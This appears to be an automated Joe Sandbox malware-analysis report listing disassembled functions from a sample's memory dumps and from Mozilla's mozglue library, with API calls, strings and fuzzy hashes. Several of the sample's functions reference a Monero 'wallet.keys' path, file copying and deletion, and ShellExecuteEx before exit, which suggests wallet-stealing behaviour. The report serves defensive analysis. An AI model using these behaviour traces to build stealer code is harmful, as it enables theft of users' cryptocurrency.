Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: ebf60018d2c0949167a31335149ee2b4e8212f0f6a60cd30d4edcb4fe800aec9
Instruction ID: 86b68811622b729055ae9e9a40ad66730d7eea17deca352ba650f7a347d02b35
Opcode Fuzzy Hash: ebf60018d2c0949167a31335149ee2b4e8212f0f6a60cd30d4edcb4fe800aec9
Instruction Fuzzy Hash: 8241167111079C9EDB218B288C84FFB7BE9AB06715F1844E8E9CA86182E2759A44CF70

Function 6C5BB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C564290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C5A3EBD,6C5A3EBD,00000000), ref: 6C5642A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C5BB127), ref: 6C5BB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5BB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C5BB4E4

Strings

pid:, xrefs: 6C5BB4DE

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: ae8e120ff0adf4f6dfcd08948124c5b3436e942e7e5d968c90d2c33606989a0a
Instruction ID: 4124c2e81cb314a271ccb6dd0be9e5dd4302ff0d67b736d6d12b6ceb77aab052
Opcode Fuzzy Hash: ae8e120ff0adf4f6dfcd08948124c5b3436e942e7e5d968c90d2c33606989a0a
Instruction Fuzzy Hash: 22310231A01208DBDB10EFA9DC90AEEFBB6FF49318F540529D80577A41E7B1E945CBA1

Function 00DA6630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00DA6663

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

ShellExecuteEx.SHELL32(0000003C), ref: 00DA6726
ExitProcess.KERNEL32 ref: 00DA6755

Strings

<, xrefs: 00DA66D9

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 12199dabdff56f46e52000a1cf481aa1cd79337398fb325fc4ca0eda4f5f4117
Instruction ID: 6047fc718a00361f25c1084020f2024d155369abbef7f9328c5192e680bd8e68
Opcode Fuzzy Hash: 12199dabdff56f46e52000a1cf481aa1cd79337398fb325fc4ca0eda4f5f4117
Instruction Fuzzy Hash: E5312DB1D01218ABDB54EBA4DC91BDE7778EF44300F404189F20966191DF746B48CF7A

Function 00DA87C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00DB0E28,00000000,?), ref: 00DA882F
RtlAllocateHeap.NTDLL(00000000), ref: 00DA8836
wsprintfA.USER32 ref: 00DA8850

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Strings

%dx%d, xrefs: 00DA8847

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 7b0854f07292d3bd442e11e5651125915795a7606c57b1841935634f351cebb5
Instruction ID: d3712469be4aebaf20304cbeee114c435624120ae0e4b27e7d6071b25d613d68
Opcode Fuzzy Hash: 7b0854f07292d3bd442e11e5651125915795a7606c57b1841935634f351cebb5
Instruction Fuzzy Hash: 912142B1A41208EFDB04DFA4DD49FAEBBB9FB48701F104219FA05A7280C7799900DBB5

Function 6C5AE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5AE577
AcquireSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AE584
ReleaseSRWLockExclusive.KERNEL32(6C5EF4B8), ref: 6C5AE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5AE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C5AE655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C5AE777
MOZ_PROFILER_STARTUP, xrefs: 6C5AE5A1, 6C5AE5CC, 6C5AE5FF, 6C5AE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C5AE722, 6C5AE750, 6C5AE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C5AE826, 6C5AE850

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 714de689d424fdd046e525ef7f2a681b5c01b936dcb6f9cb68b1a699a05a9899
Instruction ID: f9c471f9cd2a4ec69ebcc1899c0036208583dae791ece6581e9075e594bde5be
Opcode Fuzzy Hash: 714de689d424fdd046e525ef7f2a681b5c01b936dcb6f9cb68b1a699a05a9899
Instruction Fuzzy Hash: F011ED32A00258DFCB00AF15DC48B6EBBF4FBCD328F020A19E84587640DBB1A805CF99

Function 00DA8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,00DA951E,00000000), ref: 00DA8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00DA8D62
wsprintfW.USER32 ref: 00DA8D78

Strings

%hs, xrefs: 00DA8D6F

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: f2b902012bc504b8517a6777635be6b67da77872ff5e96caab7dcc657c961018
Instruction ID: 286c705a6cbb77e25adc7767392bfba6cb2079a4790d0962c784801eb5eb1551
Opcode Fuzzy Hash: f2b902012bc504b8517a6777635be6b67da77872ff5e96caab7dcc657c961018
Instruction Fuzzy Hash: F8E08CB4A4120CFFC700DFA4DC0AE6D7BB8EB44702F000095FD0A87280DA719E00ABAA

Function 6C5B0C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5B0CD5

Part of subcall function 6C59F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C59F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5B0D40
free.MOZGLUE ref: 6C5B0DCB

Part of subcall function 6C585E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C585EDB
Part of subcall function 6C585E90: memset.VCRUNTIME140(ew\l,000000E5,?), ref: 6C585F27
Part of subcall function 6C585E90: LeaveCriticalSection.KERNEL32(?), ref: 6C585FB2

free.MOZGLUE ref: 6C5B0DDD
free.MOZGLUE ref: 6C5B0DF2

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 72a113ba3091ea7f14f3ceea9450ee64c89cebe8716b938016ef3c313c66ddcb
Instruction ID: 74801334f2ca7e27a4e127546dc2b65fdfe2f34a38251a16d051b0b9429a824c
Opcode Fuzzy Hash: 72a113ba3091ea7f14f3ceea9450ee64c89cebe8716b938016ef3c313c66ddcb
Instruction Fuzzy Hash: 464146B1908780CBD720CF29C98039AFBE1BFC8714F118A2EE8D897750D770A845CB92

Function 6C5BCCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BCDA4

Part of subcall function 6C57CA10: malloc.MOZGLUE(?), ref: 6C57CA26

Part of subcall function 6C5BD130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C5BCDBA,00100000,?,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BD158
Part of subcall function 6C5BD130: InitializeConditionVariable.KERNEL32(00000098,?,6C5BCDBA,00100000,?,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BD177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BCDC4

Part of subcall function 6C5B7480: ReleaseSRWLockExclusive.KERNEL32(?,6C5C15FC,?,?,?,?,6C5C15FC,?), ref: 6C5B74EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BCECC

Part of subcall function 6C57CA10: mozalloc_abort.MOZGLUE(?), ref: 6C57CAA2

Part of subcall function 6C5ACB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C5BCEEA,?,?,?,?,00000000,?,6C5ADA31,00100000,?,?,00000000), ref: 6C5ACB57
Part of subcall function 6C5ACB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C5ACBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C5BCEEA,?,?), ref: 6C5ACBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C5ADA31,00100000,?,?,00000000,?), ref: 6C5BD058

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: f1f1c7ef03c8421a946317fe3759ce8da8bb97f0a1a820f6048f98faa40d8913
Instruction ID: b04dd27516ed60ea0a095c7519222642d0506f157b6b9a58de25decada478657
Opcode Fuzzy Hash: f1f1c7ef03c8421a946317fe3759ce8da8bb97f0a1a820f6048f98faa40d8913
Instruction Fuzzy Hash: 5CD15F71A04B06DFD708CF28C890B99FBE1BF89304F01866DD8599B711EB71B9A5CB81

Function 00D9D400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA8B60: GetSystemTime.KERNEL32(00DB0E1A,0194AF40,00DB05AE,?,?,00D913F9,?,0000001A,00DB0E1A,00000000,?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DA8B86

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00D9D481
lstrlen.KERNEL32(00000000), ref: 00D9D698
lstrlen.KERNEL32(00000000), ref: 00D9D6AC
DeleteFileA.KERNEL32(00000000), ref: 00D9D72B

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: aecaa4142812d2799106008e6ebdec404da844046b530b1e9f5d34d3c83eb65f
Instruction ID: f478d3e36e72a9af086a1f4c4dd18de42875f724fbe3d76a41e77529092d3a5e
Opcode Fuzzy Hash: aecaa4142812d2799106008e6ebdec404da844046b530b1e9f5d34d3c83eb65f
Instruction Fuzzy Hash: 71911D729101189BDB44FBB8DC96EEE7339EF15300F508669F507A6091EF346A09CBB6

Function 6C585C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C585D40
EnterCriticalSection.KERNEL32(6C5EF688), ref: 6C585D67
__aulldiv.LIBCMT ref: 6C585DB4
LeaveCriticalSection.KERNEL32(6C5EF688), ref: 6C585DED

Memory Dump Source

Source File: 00000006.00000002.1565349996.000000006C561000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C560000, based on PE: true

Associated: 00000006.00000002.1565331096.000000006C560000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565425385.000000006C5EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.1565444356.000000006C5F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c560000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 9ab6139de710da9e8fd2ed293204a4a821b981413ae9f3968b37e239f4e512e0
Instruction ID: ad3620abad6a1769902498ecdeb30bc5ecd60b76877da153010e96350ed2f181
Opcode Fuzzy Hash: 9ab6139de710da9e8fd2ed293204a4a821b981413ae9f3968b37e239f4e512e0
